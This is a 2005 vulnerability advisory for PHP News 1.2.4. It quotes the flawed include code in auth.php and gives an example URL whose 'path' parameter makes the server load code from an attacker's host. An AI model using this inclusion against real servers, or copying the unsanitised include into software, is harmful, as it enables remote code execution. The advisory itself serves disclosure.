PHP News <= 1.2.4 - Remote File Inclusion (VXSfx)

[Filip Groszynski <groszynskif@xxxxxxxxx>]

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Name:       PHP News
Version:    1.2.4 (and possibly 1.2.3)
Homepage:   http://newsphp.sourceforge.net/

Author:     Filip Groszynski   (VXSfx)
Date:       23 February 2005
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Vulnerable code in auth.php:

  if (is_Array($userDetails)) {
    ...
  }
  /* You're about to log in/no user language is specified */
  else if(file_exists($path . 'languages/' . $lang . '.admin.lng')) {
    include_once($path . 'languages/' . $lang . '.admin.lng');
    ....
  } else {
    include_once($path . 'languages/en_GB.admin.lng');
    ....
  }

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Example:

  if register_globals=on and allow_url_fopen=on:
    http://[victim]/[dir]/auth.php?path=http://[hacker_box]/

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Fix and Vendor status:

  Vendor has been notified, expect an official patch tomorrow.
  
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Contact:

    Author:    Filip Groszynski   (VXSfx)
    Location:  Poland <Warsaw>
    Email:     groszynskif <at> gmail <dot> com
    HP:        http://shell.homeunix.org

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